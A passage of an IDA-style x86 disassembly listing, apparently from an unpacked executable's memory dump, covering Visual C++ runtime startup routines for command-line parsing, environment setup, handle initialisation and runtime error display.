		retn

; =============== S U B	R O U T	I N E =======================================



sub_422E2F	proc near		; CODE XREF: ___:00422CF5p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_4421F8
		cmp	dword_442178, edx
		push	esi
		mov	eax, offset dword_442178
		jz	short loc_422E5C
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:442178h[esi*4]


loc_422E51:				; CODE XREF: sub_422E2F+2Bj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_422E5C
		cmp	[eax], edx
		jnz	short loc_422E51


loc_422E5C:				; CODE XREF: sub_422E2F+16j
					; sub_422E2F+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:442178h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_422E6F
		cmp	[eax], edx
		jz	short locret_422E71


loc_422E6F:				; CODE XREF: sub_422E2F+3Aj
		xor	eax, eax

locret_422E71:				; CODE XREF: sub_422E2F+3Ej
		retn
sub_422E2F	endp

; ---------------------------------------------------------------------------
		cmp	dword_4E21D4, 0
		jnz	short loc_422E80
		call	sub_42026D


loc_422E80:				; CODE XREF: ___:00422E79j
		push	esi
		mov	esi, dword_4E21CC
		mov	al, [esi]
		cmp	al, 22h
		jnz	short loc_422EB2


loc_422E8D:				; CODE XREF: ___:00422EA5j
					; ___:00422EA8j
		mov	al, [esi+1]
		inc	esi
		cmp	al, 22h
		jz	short loc_422EAA
		test	al, al
		jz	short loc_422EAA
		movzx	eax, al
		push	eax
		call	sub_424D36
		test	eax, eax
		pop	ecx
		jz	short loc_422E8D
		inc	esi
		jmp	short loc_422E8D
; ---------------------------------------------------------------------------


loc_422EAA:				; CODE XREF: ___:00422E93j
					; ___:00422E97j
		cmp	byte ptr [esi],	22h
		jnz	short loc_422EBC


loc_422EAF:				; CODE XREF: ___:00422EC4j
		inc	esi
		jmp	short loc_422EBC
; ---------------------------------------------------------------------------


loc_422EB2:				; CODE XREF: ___:00422E8Bj
		cmp	al, 20h
		jbe	short loc_422EBC


loc_422EB6:				; CODE XREF: ___:00422EBAj
		inc	esi
		cmp	byte ptr [esi],	20h
		ja	short loc_422EB6


loc_422EBC:				; CODE XREF: ___:00422EADj
					; ___:00422EB0j ...
		mov	al, [esi]
		test	al, al
		jz	short loc_422EC6
		cmp	al, 20h
		jbe	short loc_422EAF


loc_422EC6:				; CODE XREF: ___:00422EC0j
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		push	ebx
		xor	ebx, ebx
		cmp	dword_4E21D4, ebx
		push	esi
		push	edi
		jnz	short loc_422EDC
		call	sub_42026D


loc_422EDC:				; CODE XREF: ___:00422ED5j
		mov	esi, dword_4E0B98
		xor	edi, edi


loc_422EE4:				; CODE XREF: ___:00422EFAj
		mov	al, [esi]
		cmp	al, bl
		jz	short loc_422EFC
		cmp	al, 3Dh
		jz	short loc_422EEF
		inc	edi


loc_422EEF:				; CODE XREF: ___:00422EECj
		push	esi
		call	sub_41AFE0
		pop	ecx
		lea	esi, [esi+eax+1]
		jmp	short loc_422EE4
; ---------------------------------------------------------------------------


loc_422EFC:				; CODE XREF: ___:00422EE8j
		lea	eax, ds:4[edi*4]
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	dword_4E0B50, esi
		jnz	short loc_422F1E
		push	9
		call	sub_41DA29
		pop	ecx


loc_422F1E:				; CODE XREF: ___:00422F14j
		mov	edi, dword_4E0B98
		cmp	[edi], bl
		jz	short loc_422F61
		push	ebp


loc_422F29:				; CODE XREF: ___:00422F5Ej
		push	edi
		call	sub_41AFE0
		mov	ebp, eax
		pop	ecx
		inc	ebp
		cmp	byte ptr [edi],	3Dh
		jz	short loc_422F5A
		push	ebp
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[esi], eax
		jnz	short loc_422F4D
		push	9
		call	sub_41DA29
		pop	ecx


loc_422F4D:				; CODE XREF: ___:00422F43j
		push	edi
		push	dword ptr [esi]
		call	sub_41BEB0
		pop	ecx
		add	esi, 4
		pop	ecx


loc_422F5A:				; CODE XREF: ___:00422F36j
		add	edi, ebp
		cmp	[edi], bl
		jnz	short loc_422F29
		pop	ebp


loc_422F61:				; CODE XREF: ___:00422F26j
		push	dword_4E0B98
		call	sub_41B0B1
		pop	ecx
		mov	dword_4E0B98, ebx
		mov	[esi], ebx
		pop	edi
		pop	esi
		mov	dword_4E21D0, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	dword_4E21D4, ebx
		push	esi
		push	edi
		jnz	short loc_422F9A
		call	sub_42026D


loc_422F9A:				; CODE XREF: ___:00422F93j
		mov	esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		push	104h
		push	esi
		push	ebx
		call	near ptr 2680000h
		nop
		mov	eax, dword_4E21CC
		mov	off_4E0B60, esi
		mov	edi, esi
		cmp	[eax], bl
		jz	short loc_422FBF
		mov	edi, eax


loc_422FBF:				; CODE XREF: ___:00422FBBj
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	ebx
		push	ebx
		push	edi
		call	sub_42301C
		mov	eax, [ebp-8]
		mov	ecx, [ebp-4]
		lea	eax, [eax+ecx*4]
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		add	esp, 18h
		cmp	esi, ebx
		jnz	short loc_422FEF
		push	8
		call	sub_41DA29
		pop	ecx


loc_422FEF:				; CODE XREF: ___:00422FE5j
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		mov	eax, [ebp-4]
		lea	eax, [esi+eax*4]
		push	eax
		push	esi
		push	edi
		call	sub_42301C
		mov	eax, [ebp-4]
		add	esp, 14h
		dec	eax
		mov	dword_4E0B48, esi
		pop	edi
		pop	esi
		mov	dword_4E0B44, eax
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42301C	proc near		; CODE XREF: ___:00422FCAp
					; ___:00423000p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_10]
		mov	eax, [ebp+arg_C]
		push	ebx
		push	esi
		and	dword ptr [ecx], 0
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	dword ptr [eax], 1
		mov	eax, [ebp+arg_0]
		test	edi, edi
		jz	short loc_423046
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_423046:				; CODE XREF: sub_42301C+20j
		cmp	byte ptr [eax],	22h
		jnz	short loc_42308F


loc_42304B:				; CODE XREF: sub_42301C+58j
					; sub_42301C+5Fj
		mov	dl, [eax+1]
		inc	eax
		cmp	dl, 22h
		jz	short loc_42307D
		test	dl, dl
		jz	short loc_42307D
		movzx	edx, dl
		test	byte_4E20A1[edx], 4
		jz	short loc_423070
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_423070
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		inc	eax


loc_423070:				; CODE XREF: sub_42301C+46j
					; sub_42301C+4Cj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_42304B
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_42304B
; ---------------------------------------------------------------------------


loc_42307D:				; CODE XREF: sub_42301C+36j
					; sub_42301C+3Aj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_423087
		and	byte ptr [esi],	0
		inc	esi


loc_423087:				; CODE XREF: sub_42301C+65j
		cmp	byte ptr [eax],	22h
		jnz	short loc_4230D2
		inc	eax
		jmp	short loc_4230D2
; ---------------------------------------------------------------------------


loc_42308F:				; CODE XREF: sub_42301C+2Dj
					; sub_42301C+A5j
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_42309A
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi


loc_42309A:				; CODE XREF: sub_42301C+77j
		mov	dl, [eax]
		inc	eax
		movzx	ebx, dl
		test	byte_4E20A1[ebx], 4
		jz	short loc_4230B5
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_4230B4
		mov	bl, [eax]
		mov	[esi], bl
		inc	esi


loc_4230B4:				; CODE XREF: sub_42301C+91j
		inc	eax


loc_4230B5:				; CODE XREF: sub_42301C+8Bj
		cmp	dl, 20h
		jz	short loc_4230C3
		test	dl, dl
		jz	short loc_4230C7
		cmp	dl, 9
		jnz	short loc_42308F


loc_4230C3:				; CODE XREF: sub_42301C+9Cj
		test	dl, dl
		jnz	short loc_4230CA


loc_4230C7:				; CODE XREF: sub_42301C+A0j
		dec	eax
		jmp	short loc_4230D2
; ---------------------------------------------------------------------------


loc_4230CA:				; CODE XREF: sub_42301C+A9j
		test	esi, esi
		jz	short loc_4230D2
		and	byte ptr [esi-1], 0


loc_4230D2:				; CODE XREF: sub_42301C+6Ej
					; sub_42301C+71j ...
		and	[ebp+arg_10], 0


loc_4230D6:				; CODE XREF: sub_42301C+19Ej
		cmp	byte ptr [eax],	0
		jz	loc_4231BF


loc_4230DF:				; CODE XREF: sub_42301C+D0j
		mov	dl, [eax]
		cmp	dl, 20h
		jz	short loc_4230EB
		cmp	dl, 9
		jnz	short loc_4230EE


loc_4230EB:				; CODE XREF: sub_42301C+C8j
		inc	eax
		jmp	short loc_4230DF
; ---------------------------------------------------------------------------


loc_4230EE:				; CODE XREF: sub_42301C+CDj
		cmp	byte ptr [eax],	0
		jz	loc_4231BF
		test	edi, edi
		jz	short loc_423103
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_423103:				; CODE XREF: sub_42301C+DDj
		mov	edx, [ebp+arg_C]
		inc	dword ptr [edx]


loc_423108:				; CODE XREF: sub_42301C+18Fj
		mov	[ebp+arg_0], 1
		xor	ebx, ebx


loc_423111:				; CODE XREF: sub_42301C+FCj
		cmp	byte ptr [eax],	5Ch
		jnz	short loc_42311A
		inc	eax
		inc	ebx
		jmp	short loc_423111
; ---------------------------------------------------------------------------


loc_42311A:				; CODE XREF: sub_42301C+F8j
		cmp	byte ptr [eax],	22h
		jnz	short loc_42314B
		test	bl, 1
		jnz	short loc_423149
		xor	edi, edi
		cmp	[ebp+arg_10], edi
		jz	short loc_423138
		cmp	byte ptr [eax+1], 22h
		lea	edx, [eax+1]
		jnz	short loc_423138
		mov	eax, edx
		jmp	short loc_42313B
; ---------------------------------------------------------------------------


loc_423138:				; CODE XREF: sub_42301C+10Dj
					; sub_42301C+116j
		mov	[ebp+arg_0], edi


loc_42313B:				; CODE XREF: sub_42301C+11Aj
		mov	edi, [ebp+arg_4]
		xor	edx, edx
		cmp	[ebp+arg_10], edx
		setz	dl
		mov	[ebp+arg_10], edx


loc_423149:				; CODE XREF: sub_42301C+106j
		shr	ebx, 1


loc_42314B:				; CODE XREF: sub_42301C+101j
		mov	edx, ebx
		dec	ebx
		test	edx, edx
		jz	short loc_423160
		inc	ebx


loc_423153:				; CODE XREF: sub_42301C+142j
		test	esi, esi
		jz	short loc_42315B
		mov	byte ptr [esi],	5Ch
		inc	esi


loc_42315B:				; CODE XREF: sub_42301C+139j
		inc	dword ptr [ecx]
		dec	ebx
		jnz	short loc_423153


loc_423160:				; CODE XREF: sub_42301C+134j
		mov	dl, [eax]
		test	dl, dl
		jz	short loc_4231B0
		cmp	[ebp+arg_10], 0
		jnz	short loc_423176
		cmp	dl, 20h
		jz	short loc_4231B0
		cmp	dl, 9
		jz	short loc_4231B0


loc_423176:				; CODE XREF: sub_42301C+14Ej
		cmp	[ebp+arg_0], 0
		jz	short loc_4231AA
		test	esi, esi
		jz	short loc_423199
		movzx	ebx, dl
		test	byte_4E20A1[ebx], 4
		jz	short loc_423192
		mov	[esi], dl
		inc	esi
		inc	eax
		inc	dword ptr [ecx]


loc_423192:				; CODE XREF: sub_42301C+16Ej
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_4231A8
; ---------------------------------------------------------------------------


loc_423199:				; CODE XREF: sub_42301C+162j
		movzx	edx, dl
		test	byte_4E20A1[edx], 4
		jz	short loc_4231A8
		inc	eax
		inc	dword ptr [ecx]


loc_4231A8:				; CODE XREF: sub_42301C+17Bj
					; sub_42301C+187j
		inc	dword ptr [ecx]


loc_4231AA:				; CODE XREF: sub_42301C+15Ej
		inc	eax
		jmp	loc_423108
; ---------------------------------------------------------------------------


loc_4231B0:				; CODE XREF: sub_42301C+148j
					; sub_42301C+153j ...
		test	esi, esi
		jz	short loc_4231B8
		and	byte ptr [esi],	0
		inc	esi


loc_4231B8:				; CODE XREF: sub_42301C+196j
		inc	dword ptr [ecx]
		jmp	loc_4230D6
; ---------------------------------------------------------------------------


loc_4231BF:				; CODE XREF: sub_42301C+BDj
					; sub_42301C+D5j
		test	edi, edi
		jz	short loc_4231C6
		and	dword ptr [edi], 0


loc_4231C6:				; CODE XREF: sub_42301C+1A5j
		mov	eax, [ebp+arg_C]
		pop	edi
		pop	esi
		pop	ebx
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_42301C	endp

; ---------------------------------------------------------------------------
		push	ecx
		push	ecx
		mov	eax, dword_4E0D08
		push	ebx
		push	ebp
		mov	ebp, dword_42703C
		push	esi
		push	edi
		xor	ebx, ebx
		xor	esi, esi
		xor	edi, edi
		cmp	eax, ebx
		jnz	short loc_42321E
		call	ebp
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_4231FF
		mov	dword_4E0D08, 1
		jmp	short loc_423227
; ---------------------------------------------------------------------------


loc_4231FF:				; CODE XREF: ___:004231F1j
		nop
		call	near ptr 2630A8Fh
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_4232F9
		mov	dword_4E0D08, 2
		jmp	loc_4232AD
; ---------------------------------------------------------------------------


loc_42321E:				; CODE XREF: ___:004231E9j
		cmp	eax, 1
		jnz	loc_4232A8


loc_423227:				; CODE XREF: ___:004231FDj
		cmp	esi, ebx
		jnz	short loc_423237
		call	ebp
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_4232F9


loc_423237:				; CODE XREF: ___:00423229j
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_42324C


loc_42323E:				; CODE XREF: ___:00423243j
					; ___:0042324Aj
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_42323E
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_42323E


loc_42324C:				; CODE XREF: ___:0042323Cj
		sub	eax, esi
		mov	edi, dword_42717C
		sar	eax, 1
		push	ebx
		push	ebx
		inc	eax
		push	ebx
		push	ebx
		push	eax
		push	esi
		push	ebx
		push	ebx
		mov	[esp+34h], eax
		call	edi
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_42329D
		push	ebp
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[esp+10h], eax
		jz	short loc_42329D
		push	ebx
		push	ebx
		push	ebp
		push	eax
		push	dword ptr [esp+24h]
		push	esi
		push	ebx
		push	ebx
		call	edi
		test	eax, eax
		jnz	short loc_423299
		push	dword ptr [esp+10h]
		call	sub_41B0B1
		pop	ecx
		mov	[esp+10h], ebx


loc_423299:				; CODE XREF: ___:00423289j
		mov	ebx, [esp+10h]


loc_42329D:				; CODE XREF: ___:00423269j
					; ___:00423278j
		push	esi
		call	near ptr 2630D5Ah
		nop
		mov	eax, ebx
		jmp	short loc_4232FB
; ---------------------------------------------------------------------------


loc_4232A8:				; CODE XREF: ___:00423221j
		cmp	eax, 2
		jnz	short loc_4232F9


loc_4232AD:				; CODE XREF: ___:00423219j
		cmp	edi, ebx
		jnz	short loc_4232BD
		nop
		call	near ptr 2630A8Fh
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4232F9


loc_4232BD:				; CODE XREF: ___:004232AFj
		cmp	[edi], bl
		mov	eax, edi
		jz	short loc_4232CD


loc_4232C3:				; CODE XREF: ___:004232C6j
					; ___:004232CBj
		inc	eax
		cmp	[eax], bl
		jnz	short loc_4232C3
		inc	eax
		cmp	[eax], bl
		jnz	short loc_4232C3


loc_4232CD:				; CODE XREF: ___:004232C1j
		sub	eax, edi
		inc	eax
		mov	ebp, eax
		push	ebp
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4232E3
		xor	esi, esi
		jmp	short loc_4232EE
; ---------------------------------------------------------------------------


loc_4232E3:				; CODE XREF: ___:004232DDj
		push	ebp
		push	edi
		push	esi
		call	sub_41C310
		add	esp, 0Ch


loc_4232EE:				; CODE XREF: ___:004232E1j
		push	edi
		nop
		call	near ptr 2630DD1h
		mov	eax, esi
		jmp	short loc_4232FB
; ---------------------------------------------------------------------------


loc_4232F9:				; CODE XREF: ___:00423209j
					; ___:00423231j ...
		xor	eax, eax


loc_4232FB:				; CODE XREF: ___:004232A6j
					; ___:004232F7j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	100h
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_423322
		push	1Bh
		call	sub_41DA29
		pop	ecx


loc_423322:				; CODE XREF: ___:00423318j
		mov	dword_4E1E80, esi
		mov	dword_4E1F80, 20h
		lea	eax, [esi+100h]


loc_423338:				; CODE XREF: ___:00423354j
		cmp	esi, eax
		jnb	short loc_423356
		and	byte ptr [esi+4], 0
		or	dword ptr [esi], 0FFFFFFFFh
		mov	byte ptr [esi+5], 0Ah
		mov	eax, dword_4E1E80
		add	esi, 8
		add	eax, 100h
		jmp	short loc_423338
; ---------------------------------------------------------------------------


loc_423356:				; CODE XREF: ___:0042333Aj
		lea	eax, [esp+10h]
		push	eax
		nop
		call	near ptr 28B0000h
		cmp	word ptr [esp+42h], 0
		jz	loc_423432
		mov	eax, [esp+44h]
		test	eax, eax
		jz	loc_423432
		mov	esi, [eax]
		lea	ebp, [eax+4]
		mov	eax, 800h
		cmp	esi, eax
		lea	ebx, [esi+ebp]
		jl	short loc_42338C
		mov	esi, eax


loc_42338C:				; CODE XREF: ___:00423388j
		cmp	dword_4E1F80, esi
		jge	short loc_4233E6
		mov	edi, offset dword_4E1E84


loc_423399:				; CODE XREF: ___:004233DCj
		push	100h
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		jz	short loc_4233E0
		add	dword_4E1F80, 20h
		mov	[edi], eax
		lea	ecx, [eax+100h]


loc_4233B7:				; CODE XREF: ___:004233D1j
		cmp	eax, ecx
		jnb	short loc_4233D3
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	ecx, [edi]
		add	eax, 8
		add	ecx, 100h
		jmp	short loc_4233B7
; ---------------------------------------------------------------------------


loc_4233D3:				; CODE XREF: ___:004233B9j
		add	edi, 4
		cmp	dword_4E1F80, esi
		jl	short loc_423399
		jmp	short loc_4233E6
; ---------------------------------------------------------------------------


loc_4233E0:				; CODE XREF: ___:004233A6j
		mov	esi, dword_4E1F80


loc_4233E6:				; CODE XREF: ___:00423392j
					; ___:004233DEj
		xor	edi, edi
		test	esi, esi
		jle	short loc_423432


loc_4233EC:				; CODE XREF: ___:00423430j
		mov	eax, [ebx]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_423429
		mov	cl, [ebp+0]
		test	cl, 1
		jz	short loc_423429
		test	cl, 8
		jnz	short loc_42340B
		push	eax
		call	near ptr 2630000h
		nop
		test	eax, eax
		jz	short loc_423429


loc_42340B:				; CODE XREF: ___:004233FEj
		mov	eax, edi
		mov	ecx, edi
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4E1E80[eax*4]
		lea	eax, [eax+ecx*8]
		mov	ecx, [ebx]
		mov	[eax], ecx
		mov	cl, [ebp+0]
		mov	[eax+4], cl


loc_423429:				; CODE XREF: ___:004233F1j
					; ___:004233F9j ...
		inc	edi
		inc	ebp
		add	ebx, 4
		cmp	edi, esi
		jl	short loc_4233EC


loc_423432:				; CODE XREF: ___:00423367j
					; ___:00423373j ...
		xor	ebx, ebx


loc_423434:				; CODE XREF: ___:00423497j
		mov	eax, dword_4E1E80
		cmp	dword ptr [eax+ebx*8], 0FFFFFFFFh
		lea	esi, [eax+ebx*8]
		jnz	short loc_42348F
		test	ebx, ebx
		mov	byte ptr [esi+4], 81h
		jnz	short loc_42344F
		push	0FFFFFFF6h
		pop	eax
		jmp	short loc_423459
; ---------------------------------------------------------------------------


loc_42344F:				; CODE XREF: ___:00423448j
		mov	eax, ebx
		dec	eax
		neg	eax
		sbb	eax, eax
		add	eax, 0FFFFFFF5h


loc_423459:				; CODE XREF: ___:0042344Dj
		push	eax
		nop
		call	near ptr 2630828h
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_42347E
		push	edi
		nop
		call	near ptr 2630000h
		test	eax, eax
		jz	short loc_42347E
		and	eax, 0FFh
		mov	[esi], edi
		cmp	eax, 2
		jnz	short loc_423484


loc_42347E:				; CODE XREF: ___:00423465j
					; ___:00423470j
		or	byte ptr [esi+4], 40h
		jmp	short loc_423493
; ---------------------------------------------------------------------------


loc_423484:				; CODE XREF: ___:0042347Cj
		cmp	eax, 3
		jnz	short loc_423493
		or	byte ptr [esi+4], 8
		jmp	short loc_423493
; ---------------------------------------------------------------------------


loc_42348F:				; CODE XREF: ___:00423440j
		or	byte ptr [esi+4], 80h


loc_423493:				; CODE XREF: ___:00423482j
					; ___:00423487j ...
		inc	ebx
		cmp	ebx, 3
		jl	short loc_423434
		push	dword_4E1F80
		nop
		call	near ptr 26309EEh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 44h
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4234B8	proc near		; DATA XREF: sub_42205D+Ao
					; sub_42218C+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_423558
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_4234EB:				; CODE XREF: sub_4234B8+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_423551
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_42353F
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_42353F
		js	short loc_42354A
		mov	edi, [ebx+8]
		push	ebx
		call	sub_41CB74
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_41CBB6
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_41CC4A
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]


loc_42353F:				; CODE XREF: sub_4234B8+40j
					; sub_4234B8+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_4234EB
; ---------------------------------------------------------------------------


loc_42354A:				; CODE XREF: sub_4234B8+54j
		mov	eax, 0
		jmp	short loc_42356D
; ---------------------------------------------------------------------------


loc_423551:				; CODE XREF: sub_4234B8+36j
		mov	eax, 1
		jmp	short loc_42356D
; ---------------------------------------------------------------------------


loc_423558:				; CODE XREF: sub_4234B8+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_41CBB6
		add	esp, 8
		pop	ebp
		mov	eax, 1


loc_42356D:				; CODE XREF: sub_4234B8+97j
					; sub_4234B8+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4234B8	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_41CBB6
		add	esp, 8
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_423590	proc near		; CODE XREF: sub_41DA29+9p
		mov	eax, dword_4E0BA0
		cmp	eax, 1
		jz	short loc_4235A7
		test	eax, eax
		jnz	short locret_4235C8
		cmp	dword_43FB74, 1
		jnz	short locret_4235C8


loc_4235A7:				; CODE XREF: sub_423590+8j
		push	0FCh
		call	sub_4235C9
		mov	eax, dword_4E0D0C
		pop	ecx
		test	eax, eax
		jz	short loc_4235BD
		call	eax


loc_4235BD:				; CODE XREF: sub_423590+29j
		push	0FFh
		call	sub_4235C9
		pop	ecx

locret_4235C8:				; CODE XREF: sub_423590+Cj
					; sub_423590+15j
		retn
sub_423590	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4235C9	proc near		; CODE XREF: sub_41DA29+12p
					; sub_423590+1Cp ...

var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A4h
		mov	edx, [ebp+arg_0]
		xor	ecx, ecx
		mov	eax, offset dword_442208


loc_4235DC:				; CODE XREF: sub_4235C9+20j
		cmp	edx, [eax]
		jz	short loc_4235EB
		add	eax, 8
		inc	ecx
		cmp	eax, offset off_442298
		jl	short loc_4235DC


loc_4235EB:				; CODE XREF: sub_4235C9+15j
		push	esi
		mov	esi, ecx
		shl	esi, 3
		cmp	edx, dword_442208[esi]
		jnz	loc_423719
		mov	eax, dword_4E0BA0
		cmp	eax, 1
		jz	loc_4236F3
		test	eax, eax
		jnz	short loc_42361C
		cmp	dword_43FB74, 1
		jz	loc_4236F3


loc_42361C:				; CODE XREF: sub_4235C9+44j
		cmp	edx, 0FCh
		jz	loc_423719
		lea	eax, [ebp+var_1A4]
		push	104h
		push	eax
		push	0
		call	near ptr 2680000h
		nop
		test	eax, eax
		jnz	short loc_423653
		lea	eax, [ebp+var_1A4]
		push	offset aProgramNameUnk ; "<program name	unknown>"
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx


loc_423653:				; CODE XREF: sub_4235C9+75j
		lea	eax, [ebp+var_1A4]
		push	edi
		push	eax
		lea	edi, [ebp+var_1A4]
		call	sub_41AFE0
		inc	eax
		pop	ecx
		cmp	eax, 3Ch
		jbe	short loc_423696
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_41AFE0
		mov	edi, eax
		lea	eax, [ebp+var_1A4]
		sub	eax, 3Bh
		push	3
		add	edi, eax
		push	offset a___	; "..."
		push	edi
		call	sub_41B5F0
		add	esp, 10h


loc_423696:				; CODE XREF: sub_4235C9+A2j
		lea	eax, [ebp+var_A0]
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		push	eax
		call	sub_41BEB0
		lea	eax, [ebp+var_A0]
		push	edi
		push	eax
		call	sub_41BEC0
		lea	eax, [ebp+var_A0]
		push	offset asc_427C10 ; "\n\n"
		push	eax
		call	sub_41BEC0
		push	off_44220C[esi]
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41BEC0
		push	12010h
		lea	eax, [ebp+var_A0]
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	eax
		call	sub_424D78
		add	esp, 2Ch
		pop	edi
		jmp	short loc_423719
; ---------------------------------------------------------------------------


loc_4236F3:				; CODE XREF: sub_4235C9+3Cj
					; sub_4235C9+4Dj
		lea	eax, [ebp+arg_0]
		lea	esi, off_44220C[esi]
		push	0
		push	eax
		push	dword ptr [esi]
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	0FFFFFFF4h
		call	near ptr 2630828h
		nop
		push	eax
		nop
		call	near ptr 2700000h


loc_423719:				; CODE XREF: sub_4235C9+2Ej
					; sub_4235C9+59j ...
		pop	esi
		leave
		retn
sub_4235C9	endp


; =============== S U B	R O U T	I N E =======================================



sub_42371C	proc near		; CODE XREF: sub_423A33:loc_423BABp
		push	ebx
		push	esi
		push	edi
		or	ebx, 0FFFFFFFFh
		xor	edi, edi
		xor	esi, esi
		mov	ecx, offset dword_4E1E80


loc_42372B:				; CODE XREF: sub_42371C+48j
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_423768
		lea	edx, [eax+100h]


loc_423737:				; CODE XREF: sub_42371C+28j
		cmp	eax, edx
		jnb	short loc_423757
		test	byte ptr [eax+4], 1
		jz	short loc_423746
		add	eax, 8
		jmp	short loc_423737
; ---------------------------------------------------------------------------


loc_423746:				; CODE XREF: sub_42371C+23j
		or	dword ptr [eax], 0FFFFFFFFh
		sub	eax, [ecx]
		sar	eax, 3
		add	eax, esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_4237AB


